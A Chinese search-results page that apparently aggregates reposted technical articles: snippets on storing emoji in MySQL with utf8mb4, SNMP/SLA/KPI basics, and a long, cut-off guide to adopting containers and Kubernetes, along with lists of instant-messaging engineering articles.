[全局变量引用对Context回收的影响 ]的搜索结果

...时的开发运维带来什么影响呢？ 最常见的问题就在于将他存入MySQL数据库的时候。一般来说MySQL数据库的默认字符集都会配置成UTF-8（三字节），而utf8mb4在5.5以后才被支持，也很少会有DBA主动将系统默认字符集改成utf8mb4。 那么问题就来了，当我们把一个需要4字节UTF-8编码才能表示的字符存入数据库的时候就会报错：ERROR 1366: Incorrect string value: '\xF0\x9D\x8C\x86' for column 。 如果认真阅读了上面的解释，那么这个报错也就不难看懂了：我们试图将一串Bytes插入到一列中，而这串Bytes的第一个字节是 \xF0 意味着这是一个四字节的UTF-8编码。但是当MySQL表和列字符集配置为UTF-8的时候是无法存储这样的字符的，所以报了错。 那么遇到这种情况我们如何解决呢？ 有两种方式： 1）升级MySQL到5.6或更高版本，并且将表字符集切换至utf8mb4； 2）在把内容存入到数据库之前做一次过滤，将Emoji字符替换成一段特殊的文字编码，然后再存入数据库中。之后从数据库获取或者前端展示时再将这段特殊文字编码转换成Emoji显示。 第二种方法我们假设用 --1F601-- 来替代4字节的Emoji，那么具体实现python代码可以参见Stackoverflow上的回答。 12、参考文献 [1] 如何配置Python默认字符集 [2] 字符编码那点事：快速理解ASCII、Unicode、GBK和UTF-8 [3] Unicode中文编码表 [4] Emoji Unicode Table [5] Every Developer Should Know About The Encoding 附录：更多IM开发方面的文章 [1] IM开发综合文章： 《新手入门一篇就够：从零开发移动端IM》 《移动端IM开发者必读(一)：通俗易懂，理解移动网络的“弱”和“慢”》 《移动端IM开发者必读(二)：史上最全移动弱网络优化方法总结》 《从客户端的角度来谈谈移动端IM的消息可靠性和送达机制》 《现代移动端网络短连接的优化手段总结：请求速度、弱网适应、安全保障》 《腾讯技术分享：社交网络图片的带宽压缩技术演进之路》 《小白必读：闲话HTTP短连接中的Session和Token》 《IM开发基础知识补课：正确理解前置HTTP SSO单点登陆接口的原理》 《移动端IM开发需要面对的技术问题》 《开发IM是自己设计协议用字节流好还是字符流好？》 《请问有人知道语音留言聊天的主流实现方式吗？》 《一个低成本确保IM消息时序的方法探讨》 《完全自已开发的IM该如何设计“失败重试”机制？》 《通俗易懂：基于集群的移动端IM接入层负载均衡方案分享》 《微信对网络影响的技术试验及分析（论文全文）》 《即时通讯系统的原理、技术和应用（技术论文）》 《开源IM工程“蘑菇街TeamTalk”的现状：一场有始无终的开源秀》 《QQ音乐团队分享：Android中的图片压缩技术详解（上篇）》 《QQ音乐团队分享：Android中的图片压缩技术详解（下篇）》 《腾讯原创分享(一)：如何大幅提升移动网络下手机QQ的图片传输速度和成功率》 《腾讯原创分享(二)：如何大幅压缩移动网络下APP的流量消耗（上篇）》 《腾讯原创分享(三)：如何大幅压缩移动网络下APP的流量消耗（下篇）》 《如约而至：微信自用的移动端IM网络层跨平台组件库Mars已正式开源》 《基于社交网络的Yelp是如何实现海量用户图片的无损压缩的？》 《腾讯技术分享：腾讯是如何大幅降低带宽和网络流量的(图片压缩篇)》 《腾讯技术分享：腾讯是如何大幅降低带宽和网络流量的(音视频技术篇)》 《字符编码那点事：快速理解ASCII、Unicode、GBK和UTF-8》 《全面掌握移动端主流图片格式的特点、性能、调优等》 《子弹短信光鲜的背后：网易云信首席架构师分享亿级IM平台的技术实践》 《微信技术分享：微信的海量IM聊天消息序列号生成实践（算法原理篇）》 《自已开发IM有那么难吗？手把手教你自撸一个Andriod版简易IM (有源码)》 《融云技术分享：解密融云IM产品的聊天消息ID生成策略》 《适合新手：从零开发一个IM服务端（基于Netty，有完整源码）》 《拿起键盘就是干：跟我一起徒手开发一套分布式IM系统》 >> 更多同类文章 …… [2] 有关IM架构设计的文章： 《浅谈IM系统的架构设计》 《简述移动端IM开发的那些坑：架构设计、通信协议和客户端》 《一套海量在线用户的移动端IM架构设计实践分享(含详细图文)》 《一套原创分布式即时通讯(IM)系统理论架构方案》 《从零到卓越：京东客服即时通讯系统的技术架构演进历程》 《蘑菇街即时通讯/IM服务器开发之架构选择》 《腾讯QQ1.4亿在线用户的技术挑战和架构演进之路PPT》 《微信后台基于时间序的海量数据冷热分级架构设计实践》 《微信技术总监谈架构：微信之道——大道至简(演讲全文)》 《如何解读《微信技术总监谈架构：微信之道——大道至简》》 《快速裂变：见证微信强大后台架构从0到1的演进历程（一）》 《17年的实践：腾讯海量产品的技术方法论》 《移动端IM中大规模群消息的推送如何保证效率、实时性？》 《现代IM系统中聊天消息的同步和存储方案探讨》 《IM开发基础知识补课(二)：如何设计大量图片文件的服务端存储架构？》 《IM开发基础知识补课(三)：快速理解服务端数据库读写分离原理及实践建议》 《IM开发基础知识补课(四)：正确理解HTTP短连接中的Cookie、Session和Token》 《WhatsApp技术实践分享：32人工程团队创造的技术神话》 《微信朋友圈千亿访问量背后的技术挑战和实践总结》 《王者荣耀2亿用户量的背后：产品定位、技术架构、网络方案等》 《IM系统的MQ消息中间件选型：Kafka还是RabbitMQ？》 《腾讯资深架构师干货总结：一文读懂大型分布式系统设计的方方面面》 《以微博类应用场景为例，总结海量社交系统的架构设计步骤》 《快速理解高性能HTTP服务端的负载均衡技术原理》 《子弹短信光鲜的背后：网易云信首席架构师分享亿级IM平台的技术实践》 《知乎技术分享：从单机到2000万QPS并发的Redis高性能缓存实践之路》 《IM开发基础知识补课(五)：通俗易懂，正确理解并用好MQ消息队列》 《微信技术分享：微信的海量IM聊天消息序列号生成实践（算法原理篇）》 《微信技术分享：微信的海量IM聊天消息序列号生成实践（容灾方案篇）》 《新手入门：零基础理解大型分布式架构的演进历史、技术原理、最佳实践》 《一套高可用、易伸缩、高并发的IM群聊、单聊架构方案设计实践》 《阿里技术分享：深度揭秘阿里数据库技术方案的10年变迁史》 《阿里技术分享：阿里自研金融级数据库OceanBase的艰辛成长之路》 《社交软件红包技术解密(一)：全面解密QQ红包技术方案——架构、技术实现等》 《社交软件红包技术解密(二)：解密微信摇一摇红包从0到1的技术演进》 《社交软件红包技术解密(三)：微信摇一摇红包雨背后的技术细节》 《社交软件红包技术解密(四)：微信红包系统是如何应对高并发的》 《社交软件红包技术解密(五)：微信红包系统是如何实现高可用性的》 《社交软件红包技术解密(六)：微信红包系统的存储层架构演进实践》 《社交软件红包技术解密(七)：支付宝红包的海量高并发技术实践》 《社交软件红包技术解密(八)：全面解密微博红包技术方案》 《社交软件红包技术解密(九)：谈谈手Q红包的功能逻辑、容灾、运维、架构等》 《即时通讯新手入门：一文读懂什么是Nginx？它能否实现IM的负载均衡？》 《即时通讯新手入门：快速理解RPC技术——基本概念、原理和用途》 《多维度对比5款主流分布式MQ消息队列，妈妈再也不担心我的技术选型了》 《从游击队到正规军(一)：马蜂窝旅游网的IM系统架构演进之路》 《从游击队到正规军(二)：马蜂窝旅游网的IM客户端架构演进和实践总结》 《IM开发基础知识补课(六)：数据库用NoSQL还是SQL？读这篇就够了！》 《瓜子IM智能客服系统的数据架构设计（整理自现场演讲，有配套PPT）》 《阿里钉钉技术分享：企业级IM王者——钉钉在后端架构上的过人之处》 >> 更多同类文章 …… （本文同步发布于：http://www.52im.net/thread-2868-1-1.html） 本篇文章为转载内容。原文链接：https://blog.csdn.net/hellojackjiang2011/article/details/103586305。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...梁。 MIB文件中的变量使用的名字取自ISO和ITU管理的对象表示符命名空间，他是一个分级数的结构 SMI SMI定义了SNNMP框架多用信息的组织、组成和标识，它还未描述MIB对象和表述协议怎么交换信息奠定了基础 SMI定义的数据类型： 简单类型（simple）： Integer：整型是-2,147,483,648~2,147,483,647的有符号整数 octet string: 字符串是0~65535个字节的有序序列 OBJECT IDENTIFIER: 来自按照ASN.1规则分配的对象标识符集 简单结构类型（simple-constructed ）： SEQUENCE 用于列表。这一数据类型与大多数程序设计语言中的“structure”类似。一个SEQUENCE包括0个或更多元素，每一个元素又是另一个ASN.1数据类型 SEQUENCE OF type 用于表格。这一数据类型与大多数程序设计语言中的“array”类似。一个表格包括0个或更多元素，每一个元素又是另一个ASN.1数据类型。 应用类型（application-wide）： IpAddress: 以网络序表示的IP地址。因为它是一个32位的值，所以定义为4个字节； counter：计数器是一个非负的整数，它递增至最大值，而后回零。在SNMPv1中定义的计数器是32位的，即最大值为4，294，967，295； Gauge ：也是一个非负整数，它可以递增或递减，但达到最大值时保持在最大值，最大值为232-1； time ticks：是一个时间单位，表示以0.01秒为单位计算的时间； SNMP报文 SNMP规定了5种协议数据单元PDU（也就是SNMP报文），用来在管理进程和代理之间的交换。 get-request操作：从代理进程处提取一个或多个参数值。 get-next-request操作：从代理进程处提取紧跟当前参数值的下一个参数值。 set-request操作：设置代理进程的一个或多个参数值。 get-response操作：返回的一个或多个参数值。这个操作是由代理进程发出的，它是前面三种操作的响应操作。 trap操作：代理进程主动发出的报文，通知管理进程有某些事情发生。 操作命令 SNMP协议之所以易于使用，这是因为它对外提供了三种用于控制MIB对象的基本操作命令。它们是：Get、Set 和 Trap。 Get：管理站读取代理者处对象的值 Set：管理站设置代理者处对象的值 Trap： 代理者主动向管理站通报重要事件 SLA 简述 SLA（服务等级协议）：是关于网络服务供应商和客户之间的一份合同，其中定义了服务类型、服务质量和客户付款等术语 一个完整的SLA同时也是一个合法的文档，包括所涉及的当事人、协定条款(包含应用程序和支持的服务)、违约的处罚、费用和仲裁机构、政策、修改条款、报告形式和双方的义务等。同样服务提供商可以对用户在工作负荷和资源使用方面进行规定。 KPI 简述 KPI（关键绩效指标）：是通过对组织内部流程的输入端、输出端的关键参数进行设置、取样、计算、分析，衡量流程绩效的一种目标式量化管理指标，是把企业的战略目标分解为可操作的工作目标的工具，是企业绩效管理的基础。 KPI可以是部门主管明确部门的主要责任，并以此为基础，明确部门人员的业绩衡量指标，建立明确的切实可行的KPI体系，是做好绩效管理的关键。 KPI（关键绩效指标）是用于衡量工作人员工作绩效表现的量化指标，是绩效计划的重要组成部分 转载于:https://www.cnblogs.com/woshinideyugegea/p/11242034.html 本篇文章为转载内容。原文链接：https://blog.csdn.net/anqiongsha8211/article/details/101592137。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...出对基础设施与应用的影响，提前识别风险并采取应对措施。 技术选型明确之后，在公司或部门内部推广与评审，让开发人员、架构师、测试人员、运维人员相关人员与团队理解与认同方案，听取他们意见，他们是直接使用容器的客户，不要让他们有抱怨。 最后是落地策略，一般是选取一些辅助业务先试点，在实践过程中不断总结经验。 商业目标 容器技术是以应用为中心的轻量级虚拟化技术，而传统的Xen与KVM是以资源为中心的虚拟化技术，这是两者的本质差异。以应用为中心是容器技术演进的指导原则，正是在这个原则指导下，容器技术相对于传统虚拟化有几个特点：打包既部署、镜像分层、应用资源调度。 打包即部署：打包即部署是指在容器镜像制作过程包含了传统软件包部署的过程（安装依赖的操作系统库或工具、创建用户、创建运行目录、解压、设置文件权限等等），这么做的好处是把应用及其依赖封装到了一个相对封闭的环境，减少了应用对外部环境的依赖，增强了应用在各种不同环境下的行为一致性，同时也减少了应用部署时间。 镜像分层：容器镜像包是分层结构，同一个主机上的镜像层是可以在多个容器之间共享的，这个机制可以极大减少镜像更新时候拉取镜像包的时间，通常应用程序更新升级都只是更新业务层（如Java程序的jar包），而镜像中的操作系统Lib层、运行时（如Jre）层等文件不会频繁更新。因此新版本镜像实质有变化的只有很小的一部分，在更新升级时候也只会从镜像仓库拉取很小的文件，所以速度很快。 应用资源调度：资源（计算/存储/网络）都是以应用为中心的，中心体现在资源分配是按照应用粒度分配资源、资源随应用迁移。 基于上述容器技术特点，可以推导出容器技术的3大使用场景：CI/CD、提升资源利用率、弹性伸缩。这3个使用场景自然推导出通用的商业层面收益：CI/CD提升研发效率、提升资源利用率降低成本、按需弹性伸缩在体验与成本之间达成平衡。 当然，除了商业目标之外，可能还有其他一些考虑因素，如基于容器技术实现计算任务调度平台、保持团队技术先进性等。 CI/CD提升研发效率 为什么容器技术适合CI/CD CI/CD是DevOps的关键组成部分，DevOps是一套软件工程的流程，用于持续提升软件开发效率与软件交付质量。DevOps流程来源于制造业的精益生产理念，在这个领域的领头羊是丰田公司，《丰田套路》这本书总结丰田公司如何通过PDCA(Plan-Do-Check-Act)方法实施持续改进。PDCA通常也称为PDCA循环，PDCA实施过程简要描述为：确定目标状态、分析当前状态、找出与目标状态的差距、制定实施计划、实施并总结、开始下一个PDCA过程。 DevOps基本也是这么一个PDCA流程循环，很容易认知到PDCA过程中效率是关键，同一时间段内，实施更多数量的PDCA过程，收益越高。在软件开发领域的DevOps流程中，各种等待（等待编译、等待打包、等待部署等）、各种中断（部署失败、机器故障）是影响DevOps流程效率的重要因素。 容器技术出来之后，将容器技术应用到DevOps场景下，可以从技术手段消除DevOps流程中的部分等待与中断，从而大幅度提升DevOps流程中CI/CD的效率。 容器的OCI标准定义了容器镜像规范，容器镜像包与传统的压缩包(zip/tgz等)相比有两个关键区别点：1）分层存储；2）打包即部署。 分层存储可以极大减少镜像更新时候拉取镜像包的时间，通常应用程序更新升级都只是更新业务层（如Java程序的jar包），而镜像中的操作系统Lib层、运行时（如Jre）层等文件不会频繁更新。因此新版本镜像实质有变化的只有很小的一部分，在更新升级时候也只会从镜像仓库拉取很小的文件，所以速度很快。 打包即部署是指在容器镜像制作过程包含了传统软件包部署的过程（安装依赖的操作系统库或工具、创建用户、创建运行目录、解压、设置文件权限等等），这么做的好处是把应用及其依赖封装到了一个相对封闭的环境，减少了应用对外部环境的依赖，增强了应用在各种不同环境下的行为一致性，同时也减少了应用部署时间。 基于容器镜像的这些优势，容器镜像用到CI/CD场景下，可以减少CI/CD过程中的等待时间，减少因环境差异而导致的部署中断，从而提升CI/CD的效率，提升整体研发效率。 CI/CD的关键诉求与挑战 快 开发人员本地开发调试完成后，提交代码，执行构建与部署，等待部署完成后验证功能。这个等待的过程尽可能短，否则开发人员工作容易被打断，造成后果就是效率降低。如果提交代码后几秒钟就能够完成部署，那么开发人员几乎不用等待，工作也不会被打断；如果需要好几分钟或十几分钟，那么可以想象，这十几分钟就是浪费了，这时候很容易做点别的事情，那么思路又被打断了。 所以构建CI/CD环境时候，快是第一个需要考虑的因素。要达到快，除了有足够的机器资源免除排队等待，引入并行编译技术也是常用做法，如Maven3支持多核并行构建。 自定义流程 不同行业存在不同的行业规范、监管要求，各个企业有一套内部质量规范，这些要求都对软件交付流程有定制需求，如要求使用商用的代码扫描工具做安全扫描，如构建结果与企业内部通信系统对接发送消息。 在团队协同方面，不同的公司，对DevOps流程在不同团队之间分工有差异，典型的有开发者负责代码编写构建出构建物（如jar包），而部署模板、配置由运维人员负责；有的企业开发人员负责构建并部署到测试环境；有的企业开发人员直接可以部署到生产环境。这些不同的场景，对CI/CD的流程、权限管控都有定制需求。 提升资源利用率 OCI标准包含容器镜像标准与容器运行时标准两部分，容器运行时标准聚焦在定义如何将镜像包从镜像仓库拉取到本地并更新、如何隔离运行时资源这些方面。得益于分层存储与打包即部署的特性，容器镜像从到镜像仓库拉取到本地运行速度非常快（通常小于30秒，依赖镜像本身大小等因素），基于此可以实现按需分配容器运行时资源（cpu与内存），并限定单个容器资源用量；然后根据容器进程资源使用率设定弹性伸缩规则，实现自动的弹性伸缩。 这种方式相对于传统的按峰值配置资源方式，可以提升资源利用率。 按需弹性伸缩在体验与成本之间达成平衡 联动弹性伸缩 应用运行到容器，按需分配资源之后，理想情况下，Kubernetes的池子里没有空闲的资源。这时候扩容应用实例数，新扩容的实例会因资源不足调度失败。这时候需要资源池能自动扩容，加入新的虚拟机，调度新扩容的应用。 由于应用对资源的配比与Flavor有要求，因此新加入的虚拟机，应当是与应用所需要的资源配比与Flavor一致的。缩容也是类似。 弹性伸缩还有一个诉求点是“平滑”，对业务做到不感知，也称为“优雅”扩容/缩容。 请求风暴 上面提到的弹性伸缩一般是有计划或缓慢增压的场景，存在另外一种无法预期的请求风暴场景，这种场景的特征是无法预测、突然请求量增大数倍或数十倍、持续时间短。典型的例子如行情交易系统，当行情突变的时候，用户访问量徒增，持续几十分钟或一个小时。 这种场景的弹性诉求，要求短时间内能将资源池扩大数倍，关键是速度要快（秒级），否则会来不及扩容，系统已经被冲垮（如果无限流的话）。 目前基于 Virtual Kubelet 与云厂家的 Serverless 容器，理论上可以提供应对请求风暴的方案。不过在具体实施时候，需要考虑传统托管式Kubernetes容器管理平台与Serverless容器之间互通的问题，需要基于具体厂家提供的能力来评估。 基于容器技术实现计算调度平台 计算（大数据/AI训练等）场景的特征是短时间内需要大量算力，算完即释放。容器的环境一致性以及调度便利性适合这种场景。 技术选型 容器技术是属于基础设施范围，但是与传统虚拟化技术（Xen/KVM）比较，容器技术是应用虚拟化，不是纯粹的资源虚拟化，与传统虚拟化存在差异。在容器技术选型时候，需要结合当前团队在应用管理与资源管理的现状，对照容器技术与虚拟化技术的差异，选择最合适的容器技术栈。 什么是容器技术 (1)容器是一种轻量化的应用虚拟化技术。 在讨论具体的容器技术栈的时候，先介绍目前几种常用的应用虚拟化技术，当前有3种主流的应用虚拟化技术: LXC，MicroVM，UniKernel（LibOS）。 LXC: Linux Container，通过 Linux的 namespace/cgroups/chroot 等技术隔离进程资源，目前应用最广的docker就是基于LXC实现应用虚拟化的。 MicroVM: MicroVM 介于 传统的VM 与 LXC之间，隔离性比LXC好，但是比传统的VM要轻量，轻量体现在体积小（几M到几十M）、启动快（小于1s）。 AWS Firecracker 就是一种MicroVM的实现，用于AWS的Serverless计算领域，Serverless要求启动快，租户之间隔离性好。 UniKernel: 是一种专用的（特定编程语言技术栈专用）、单地址空间、使用 library OS 构建出来的镜像。UniKernel要解决的问题是减少应用软件的技术栈层次，现代软件层次太多导致越来越臃肿：硬件+HostOS+虚拟化模拟+GuestOS+APP。UniKernel目标是：硬件+HostOS+虚拟化模拟+APP-with-libos。 三种技术对比表： 开销 体积 启动速度 隔离/安全 生态 LXC 低（几乎为0） 小 快（等同进程启动） 差（内核共享） 好 MicroVM 高 大 慢(小于1s) 好 中（Kata项目） UniKernel 中 中 中 好 差 根据上述对比来看，LXC是应用虚拟化首选的技术，如果LXC无法满足隔离性要，则可以考虑MicroVM这种技术。当前社区已经在着手融合LXC与MicroVM这两种技术，从应用打包/发布调度/运行层面统一规范，Kubernetes集成Kata支持混合应用调度特性可以了解一下。 UniKernel 在应用生态方面相对比较落后，目前在追赶中，目前通过 linuxkit 工具可以在UniKernel应用镜像中使用docker镜像。这种方式笔者还未验证过，另外docker镜像运行起来之后，如何监控目前还未知。 从上述三种应用虚拟化技术对比，可以得出结论: （2)容器技术与传统虚拟化技术不断融合中。 再从规范视角来看容器技术，可以将容器技术定义为: (3)容器=OCI+CRI+辅助工具。 OCI规范包含两部分，镜像规范与运行时规范。简要的说，要实现一个OCI的规范，需要能够下载镜像并解压镜像到文件系统上组成成一个文件目录结构，运行时工具能够理解这个目录结构并基于此目录结构管理（创建/启动/停止/删除）进程。 容器(container)的技术构成就是实现OCI规范的技术集合。 对于不同的操作系统（Linux/Windows），OCI规范的实现技术不同，当前docker的实现，支持Windows与Linux与MacOS操作系统。当前使用最广的是Linux系统，OCI的实现，在Linux上组成容器的主要技术： chroot: 通过分层文件系统堆叠出容器进程的rootfs，然后通过chroot设置容器进程的根文件系统为堆叠出的rootfs。 cgroups: 通过cgroups技术隔离容器进程的cpu/内存资源。 namesapce: 通过pid, uts, mount, network, user namesapce 分别隔离容器进程的进程ID，时间，文件系统挂载，网络，用户资源。 网络虚拟化: 容器进程被放置到独立的网络命名空间，通过Linux网络虚拟化veth, macvlan, bridge等技术连接主机网络与容器虚拟网络。 存储驱动: 本地文件系统，使用容器镜像分层文件堆叠的各种实现驱动，当前推荐的是overlay2。 广义的容器还包含容器编排，即当下很火热的Kubernetes。Kubernetes为了把控容器调度的生态，发布了CRI规范，通过CRI规范解耦Kubelet与容器，只要实现了CRI接口，都可以与Kubelet交互，从而被Kubernetes调度。OCI规范的容器实现与CRI标准接口对接的实现是CRI-O。 辅助工具用户构建镜像，验证镜像签名，管理存储卷等。 容器定义 容器是一种轻量化的应用虚拟化技术。 容器=OCI+CRI+辅助工具。 容器技术与传统虚拟化技术不断融合中。 什么是容器编排与调度 选择了应用虚拟化技术之后，还需要应用调度编排，当前Kubernetes是容器领域内编排的事实标准，不管使用何种应用虚拟化技术，都已经纳入到了Kubernetes治理框架中。 Kubernetes 通过 CRI 接口规范，将应用编排与应用虚拟化实现解耦：不管使用何种应用虚拟化技术（LXC, MicroVM, LibOS），都能够通过Kubernetes统一编排。 当前使用最多的是docker，其次是cri-o。docker与crio结合kata-runtime都能够支持多种应用虚拟化技术混合编排的场景，如LXC与MicroVM混合编排。 docker(now): Moby 公司贡献的 docker 相关部件，当前主流使用的模式。 docker(daemon) 提供对外访问的API与CLI(docker client) containerd 提供与 kubelet 对接的 CRI 接口实现 shim负责将Pod桥接到Host namespace。 cri-o: 由 RedHat/Intel/SUSE/IBM/Hyper 公司贡献的实现了CRI接口的符合OCI规范的运行时，当前包括 runc 与 kata-runtime ，也就是说使用 cir-o 可以同时运行LXC容器与MicroVM容器，具体在Kata介绍中有详细说明。 CRI-O: 实现了CRI接口的进程，与 kubelet 交互 crictl: 类似 docker 的命令行工具 conmon: Pod监控进程 other cri runtimes: 其他的一些cri实现，目前没有大规模应用到生产环境。 容器与传统虚拟化差异 容器(container)的技术构成 前面主要讲到的是容器与编排，包括CRI接口的各种实现，我们把容器领域的规范归纳为南向与北向两部分，CRI属于北向接口规范，对接编排系统，OCI就属于南向接口规范，实现应用虚拟化。 简单来讲，可以这么定义容器： 容器(container) ~= 应用打包(build) + 应用分发(ship) + 应用运行/资源隔离(run)。 build-ship-run 的内容都被定义到了OCI规范中，因此也可以这么定义容器： 容器(container) == OCI规范 OCI规范包含两部分，镜像规范与运行时规范。简要的说，要实现一个OCI的规范，需要能够下载镜像并解压镜像到文件系统上组成成一个文件目录结构，运行时工具能够理解这个目录结构并基于此目录结构管理（创建/启动/停止/删除）进程。 容器(container)的技术构成就是实现OCI规范的技术集合。 对于不同的操作系统（Linux/Windows），OCI规范的实现技术不同，当前docker的实现，支持Windows与Linux与MacOS操作系统。当前使用最广的是Linux系统，OCI的实现，在Linux上组成容器的主要技术： chroot: 通过分层文件系统堆叠出容器进程的rootfs，然后通过chroot设置容器进程的根文件系统为堆叠出的rootfs。 cgroups: 通过cgroups技术隔离容器进程的cpu/内存资源。 namesapce: 通过pid, uts, mount, network, user namesapce 分别隔离容器进程的进程ID，时间，文件系统挂载，网络，用户资源。 网络虚拟化: 容器进程被放置到独立的网络命名空间，通过Linux网络虚拟化veth, macvlan, bridge等技术连接主机网络与容器虚拟网络。 存储驱动: 本地文件系统，使用容器镜像分层文件堆叠的各种实现驱动，当前推荐的是overlay2。 广义的容器还包含容器编排，即当下很火热的Kubernetes。Kubernetes为了把控容器调度的生态，发布了CRI规范，通过CRI规范解耦Kubelet与容器，只要实现了CRI接口，都可以与Kubelet交互，从而被Kubernetes调度。OCI规范的容器实现与CRI标准接口对接的实现是CRI-O。 容器与虚拟机差异对比 容器与虚拟机的差异可以总结为2点：应用打包与分发的差异，应用资源隔离的差异。当然，导致这两点差异的根基是容器是以应用为中心来设计的，而虚拟化是以资源为中心来设计的，本文对比容器与虚拟机的差异，更多的是站在应用视角来对比。 从3个方面对比差异：资源隔离，应用打包与分发，延伸的日志/监控/DFX差异。 1.资源隔离 隔离机制差异 容器 虚拟化 mem/cpu cgroup, 使用时候设定 require 与 limit 值 QEMU, KVM network Linux网络虚拟化技术(veth,tap,bridge,macvlan,ipvlan), 跨虚拟机或出公网访问:SNAT/DNAT, service转发:iptables/ipvs, SR-IOV Linux网络虚拟化技术(veth,tap,bridge,macvlan,ipvlan), QEMU, SR-IOV storage 本地存储: 容器存储驱动 本地存储：virtio-blk 差异引入问题与实践建议 应用程序未适配 cgroup 的内存隔离导致问题: 典型的是 JVM 虚拟机，在 JVM 启动时候会根据系统内存自动设置 MaxHeapSize 值，通常是系统内存的1/4，但是 JVM 并未考虑 cgroup 场景，读系统内存时候任然读取主机的内存来设置 MaxHeapSize，这样会导致内存超过 cgroup 限制从而导致进程被 kill 。问题详细阐述与解决建议参考Java inside docker: What you must know to not FAIL。 多次网络虚拟化问题: 如果在虚拟机内使用容器，会多一层网络虚拟化，并加入了SNAT/DNAT技术, iptables/ipvs技术，对网络吞吐量与时延都有影响（具体依赖容器网络方案），对问题定位复杂度变高，同时还需要注意网络内核参数调优。 典型的网络调优参数有：转发表大小 /proc/sys/net/netfilter/nf_conntrack_max 使用iptables 作为service转发实现的时候，在转发规则较多的时候，iptables更新由于需要全量更新导致非常耗时，建议使用ipvs。详细参考[华为云在 K8S 大规模场景下的 Service 性能优化实践](https://zhuanlan.zhihu.com/p/37230013)。 容器IP地址频繁变化不固定，周边系统需要协调适配，包括基于IP地址的白名单或防火墙控制策略需要调整，CMDB记录的应用IP地址需要适配动态IP或者使用服务名替代IP地址。 存储驱动带来的性能损耗: 容器本地文件系统是通过联合文件系统方式堆叠出来的，当前主推与默认提供的是overlay2驱动，这种模式应用写本地文件系统文件或修改已有文件，使用Copy-On-Write方式，也就是会先拷贝源文件到可写层然后修改，如果这种操作非常频繁，建议使用 volume 方式。 2.应用打包与分发 应用打包/分发/调度差异 容器 虚拟化 打包 打包既部署 一般不会把应用程序与虚拟机打包在一起，通过部署系统部署应用 分发 使用镜像仓库存储与分发 使用文件存储 调度运行 使用K8S亲和/反亲和调度策略 使用部署系统的调度能力 差异引入问题与实践建议 部署提前到构建阶段，应用需要支持动态配置与静态程序分离；如果在传统部署脚本中依赖外部动态配置，这部分需要做一些调整。 打包格式发生变化，制作容器镜像需要注意安全/效率因素，可参考Dockerfile最佳实践 容器镜像存储与分发是按layer来组织的，镜像在传输过程中放篡改的方式是传统软件包有差异。 3.监控/日志/DFX 差异 容器 虚拟化 监控 cpu/mem的资源上限是cgroup定义的；containerd/shim/docker-daemon等进程的监控 传统进程监控 日志采集 stdout/stderr日志采集方式变化；日志持久化需要挂载到volume；进程会被随机调度到其他节点导致日志需要实时采集否则分散很难定位 传统日志采集 问题定位 进程down之后自动拉起会导致问题定位现场丢失；无法停止进程来定位问题因为停止即删除实例 传统问题定位手段 差异引入问题实践与建议 使用成熟的监控工具，运行在docker中的应用使用cadvisor+prometheus实现采集与警报，cadvisor中预置了常用的监控指标项 对于docker管理进程（containerd/shim/docker-daemon）也需要一并监控 使用成熟的日志采集工具，如果已有日志采集Agent，则可以考虑将日志文件挂载到volume后由Agent采集；需要注意的是stderr/stdout输出也要一并采集 如果希望容器内应用进程退出后保留现场定位问题，则可以将Pod的restartPolicy设置为never，进程退出后进程文件都还保留着(/var/lib/docker/containers)。但是这么做的话需要进程没有及时恢复，会影响业务，需要自己实现进程重拉起。 团队配合 与周边的开发团队、架构团队、测试团队、运维团队评审并交流方案，与周边团队达成一致。 落地策略与注意事项 逐步演进过程中网络互通 根据当前已经存在的基础实施情况，选择容器化落地策略。通常使用逐步演进的方式，由于容器化引入了独立的网络namespace导致容器与传统虚拟机进程网络隔离，逐步演进过程中如何打通隔离的网络是最大的挑战。 分两种场景讨论： 不同服务集群之间使用VIP模式互通: 这种模式相对简单，基于VIP做灰度发布。 不同服务集群之间使用微服务点对点模式互通(SpringCloud/ServiceComb/Dubbo都是这一类): 这种模式相对复杂，在逐步容器化过程中，要求容器网络与传统虚拟机网络能够互通（难点是在虚拟机进程内能够直接访问到容器网络的IP地址），当前解决这个问题有几种方法。 自建Kubernetes场景，可使用开源的kube-router，kube-router 使用BGP协议实现容器网络与传统虚拟机网络之间互通，要求网络交换机支持BGP协议。 使用云厂商托管Kubernetes场景，选择云厂商提供的VPC-Router互通的网络插件，如阿里云的Terway网络插件, 华为云的Underlay网络模式。 选择物理机还是虚拟机 选择物理机运行容器还是虚拟机运行容器，需要结合基础设施与业务隔离性要求综合考虑。分两种场景：自建IDC、租用公有云。 自建IDC: 理想情况是使用物理机组成一个大集群，根据业务诉求，对资源保障与安全性要求高的应用，使用MicorVM方式隔离；普通应用使用LXC方式隔离。所有物理机在一个大集群内，方便削峰填谷提升资源利用率。 租用公有云：当前公有云厂家提供的裸金属服务价格较贵且只能包周期，使用裸金属性价比并不高，使用虚拟机更合适。 集群规模与划分 选择集群时候，是多个应用共用一个大集群，还是按应用分组分成多个小集群呢？我们把节点规模数量>=1000的定义为大集群，节点数<1000的定义为小集群。 大集群的优点是资源池共享容器，方便资源调度（削峰填谷）；缺点是随着节点数量与负载数量的增多，会引入管理性能问题（需要量化）: DNS 解析表变大，增加/删除 Service 或 增加/删除 Endpoint 导致DNS表刷新慢 K8S Service 转发表变大，导致工作负载增加/删除刷新iptables/ipvs记录变慢 etcd 存储空间变大，如果加上ConfigMap，可能导致 etcd 访问时延增加 小集群的优点是不会有管理性能问题，缺点是会导致资源碎片化，不容易共享。共享分两种情况: 应用之间削峰填谷：目前无法实现 计算任务与应用之间削峰填谷：由于计算任务是短时任务，可以通过上层的任务调度软件，在多个集群之间分发计算任务，从而达到集群之间资源共享的目的。 选择集群规模的时候，可以参考上述分析，结合实际情况选择适合的集群划分。 Helm? Helm是为了解决K8S管理对象散碎的问题，在K8S中并没有"应用"的概念，只有一个个散的对象(Deployment, ConfigMap, Service, etc)，而一个"应用"是多个对象组合起来的，且这些对象之间还可能存在一定的版本配套关系。 Helm 通过将K8S多个对象打包为一个包并标注版本号形成一个"应用"，通过 Helm 